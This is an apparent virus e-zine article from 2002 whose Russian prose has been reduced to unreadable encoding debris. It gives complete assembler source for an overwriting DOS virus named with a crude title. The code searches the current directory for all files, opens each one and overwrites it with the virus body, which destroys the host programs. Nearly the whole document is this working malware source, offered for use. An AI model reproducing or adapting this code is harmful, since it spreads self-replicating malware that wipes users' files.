ͻ

ݰݰݰݰݰݰ۰
ݰݰݰݰݰݰݰݰݰݰݰݰ۰
ݰݰݰݰݰݰݰݰݰݰݰݰ۰
ݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰ

  issue#2 apr.2002  

ͼ

  --< 쥪⭮ ਥ஢ ணࠬ஢  ਥ! >--

 Ŀ
   த  : COCKSUCKER           
   室: Turbo Assembler 5.0  
            : 05.12.2001           
           : Alchemist            
 

 । 襬    overwriter. ᭮  ⫨稥
 砥  ⮬,   ᠭ  ਬ . ,    蠫
 , ⭮,  쥪⭮ ਥ஢   ᥬ. ᠭ
   ࠤ ,   ᫥ 쥪⮢ ;)
  ,  ᠬ ਬ⨢ ࠩ,     .
  室:
  ᫨    ᥬ஢  ⮢ com 䠩  娢.

=======< cut here >=======
;----------------------------------------;
;                                        ;
;      ==  THE COCKSUCKER VIRUS  ==      ;
;                                        ;
;----------------------------------------;

 IDEAL

 JUMPS

 LOCALS @@

 MODEL TINY,PASCAL
 ;-------------------------------------------------------------------;
 ;--------  쥪 TBase -------------------------------------;
 ;-------------------------------------------------------------------;
 STRUC  TBase METHOD {
        Terminate = TBase_Terminate      ; 뢠 ணࠬ  4Ch ;
        OpenF     = TBase_OpenF          ;  䠩                ;
        WriteF    = TBase_WriteF         ;   䠩               ;
        CloseF    = TBase_CloseF         ;  䠩                ;
                                }

 ENDS   TBase

 ;-------------------------------------------------------------------;
 ;-------- 쥪 TInfector ᫥  ⮤ TBase --------------;
 ;-------------------------------------------------------------------;
 STRUC  TInfector TBase  METHOD {
        InfectF   = TInfector_InfectF       ; ࠧ 䠩          ;
                                }
 ENDS   TInfector

 ;-------------------------------------------------------------------;
 ;-------- 쥪 TSearchEngine - 楤  ᪠   curdir;
 ;-------------------------------------------------------------------;

 STRUC  TSearchEngine METHOD {
        SetDTA    = TSearchEngine_SetDTA    ; ⠭  DTA
        FindFirst = TSearchEngine_FindFirst ;  ࢮ 宦
        FindNext  = TSearchEngine_FindNext  ;  ᫥ 宦
                             }
 ENDS   TSearchEngine



 CODESEG

 ORG 100h
;-------------------------; ᭮ ணࠬ ;--------------------------
start_virus:


      mov  si,offset SearchEngine           ; 㦠  쥪  si
      call si METHOD TSearchEngine:SetDTA   ; 뢠 ⮤ SetDTA
                                            ; .. ⠭  DTA
      mov  si,offset SearchEngine           ; 㦠 SearchEngine  si
      call si METHOD TSearchEngine:FindFirst; 뢠 FindFirst ⮤
      jc   Quit                             ; ᫨  䠩 室
DIR:                                        ; ----------------------------
      mov  si,offset SearchEngine           ; 㦠  si SearchEngine
      call si METHOD TSearchEngine:FindNext ; 뢠 ⮤ FindNext
      jc   Quit ;  ᪠ 㣨 䠩  ; ᫨  䠩 室
                                            ; ----------------------------
      mov  si,offset Infector               ;  ந室 ࠦ
      call si METHOD TInfector:InfectF      ; 뢠 ⮤ Infect -
      jmp  dir                              ; .   砫 䠩
                                            ; ⥫ .
quit:                                       ; ----------------------------
      mov  si,offset Infector               ; 蠥 ணࠬ 㭪樥
      call si METHOD TInfector:Terminate, 00h; 4Ch

;---------------------------; ⮤ 쥪⮢ ;---------------------------

;--------------------------------------------------------;
; TBase_Terminate - 뢠 ணࠬ   室. ;
;--------------------------------------------------------;
 PROC TBase_Terminate
      ARG @@haltcode:byte
      mov  al,[@@haltcode]                  ; 頥 haltcode  al
      mov  ah,4Ch                           ;  㭪樨
      int  21h                              ; 蠥 ணࠬ
      ret
 ENDP TBase_Terminate
;--------------------------------------------------------;
; TBase_OpenF -  䠩.                            ;
;--------------------------------------------------------;
 PROC TBase_OpenF
      mov  al,2
      mov  ah,3Dh
      xor  cx,cx
      int  21h
      xchg ax,bx                            ; ਯ  bx
      ret
 ENDP TBase_OpenF
;--------------------------------------------------------;
; TBase_WriteF -   䠩.                          ;
;--------------------------------------------------------;
 PROC TBase_WriteF
      ARG @@count:word
      mov  ah,40h
      mov  cx,[@@count]                     ; ⢮   
      int  21h
      ret
 ENDP TBase_WriteF

;--------------------------------------------------------;
; TBase_CloseF -  䠩.                           ;
;--------------------------------------------------------;
 PROC TBase_CloseF
      mov  ah,3Eh
      int  21h
      ret
 ENDP TBase_CloseF

;--------------------------------------------------------;
; TInfector_InfectF - ࠧ 䠩.                     ;
;--------------------------------------------------------;
 PROC TInfector_InfectF
; 襬  䠩   㪠  DTA  ᬥ饭 30
     lea  dx,[DTA+1Eh]
     mov  si,offset Infector
     call si METHOD TInfector:OpenF         ; 뢠 䠩

     lea  dx,[start_virus]                  ; 襬
     mov  si,offset Infector
     call si METHOD TInfector:WriteF,(end_virus-start_virus)

     mov  si,offset Infector                ; 뢠
     call si METHOD TInfector:CloseF

      ret
 ENDP TInfector_InfectF
;--------------------------------------------------------;
; TSearchEngine_SetDTA - ⠭ DTA.                 ;
;--------------------------------------------------------;
PROC  TSearchEngine_SetDTA
      mov  ah,1Ah
      lea  dx,[DTA]
      int  21h
      ret
ENDP  TSearchEngine_SetDTA
;--------------------------------------------------------;
; TSearchEngine_FindFirst -  .                ;
;--------------------------------------------------------;
PROC  TSearchEngine_FindFirst
      lea  dx,[FPath]
      mov  ah,4Eh
      mov  cx,110101b                       ; ਡ -  ஬ read-only
      int  21h
      ret
ENDP  TSearchEngine_FindFirst
;--------------------------------------------------------;
; TSearchEngine_FindNext -  .                 ;
;--------------------------------------------------------;
PROC  TSearchEngine_FindNext
      lea  dx,[DTA]
      mov  ah,4Fh
      int  21h
      ret
ENDP  TSearchEngine_FindNext

;--------------------------------------------------------;
;  ணࠬ                                       ;
;--------------------------------------------------------;
      SearchEngine TSearchEngine <>     ; 쥪 SearchEngine
      Infector TInfector <>             ; 쥪 Infector

      FPATH   db      '*.*',0           ; .......................
end_virus:
dta     db      50 dup(?)

END start_virus
=======< cut here >=======



  --< ... >--